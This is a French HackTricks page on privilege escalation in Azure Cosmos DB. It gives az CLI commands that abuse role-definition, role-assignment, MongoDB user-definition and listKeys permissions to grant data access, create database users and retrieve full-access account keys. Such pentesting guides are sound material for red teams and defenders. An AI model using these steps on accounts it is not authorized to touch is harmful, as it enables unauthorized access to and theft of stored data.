Az - CosmosDB Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

CosmosDB Privesc

Pour plus d’informations sur SQL Database, consultez :

Az - CosmosDB

(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)

Avec ces permissions, vous pouvez escalader les privilĂšges en donnant Ă  un utilisateur les permissions d’exĂ©cuter des requĂȘtes et de se connecter Ă  la base de donnĂ©es. Tout d’abord, un rĂŽle de dĂ©finition est créé en donnant les permissions et les portĂ©es nĂ©cessaires.

az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'

AprĂšs cela, l’attribution de la dĂ©finition est donnĂ©e Ă  un utilisateur. AprĂšs cela, cet utilisateur peut utiliser la mĂ©thode de connexion DefaultAzureCredential() pour exĂ©cuter des requĂȘtes.

az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"

(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)

Avec cette autorisation, vous pouvez crĂ©er de nouvelles dĂ©finitions de rĂŽle MongoDB au sein d’un compte Azure Cosmos DB. Cela permet de dĂ©finir des rĂŽles personnalisĂ©s avec des autorisations spĂ©cifiques pour les utilisateurs MongoDB. Les fonctionnalitĂ©s RBAC doivent ĂȘtre activĂ©es pour utiliser cela.

az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'

Vous pouvez crĂ©er de nouvelles dĂ©finitions d’utilisateur MongoDB au sein d’un compte Azure Cosmos DB. Cela permet de provisionner des utilisateurs avec des rĂŽles spĂ©cifiques et un accĂšs aux bases de donnĂ©es MongoDB.

az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'

AprÚs cela, un nouvel utilisateur est créé dans le MongoDB, nous pouvons y accéder :

mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"

Microsoft.DocumentDB/databaseAccounts/listKeys/action

Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accÚs complet au compte de base de données et à ses ressources, permettant des actions telles que des lectures de données, des écritures et des modifications de configuration.

az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks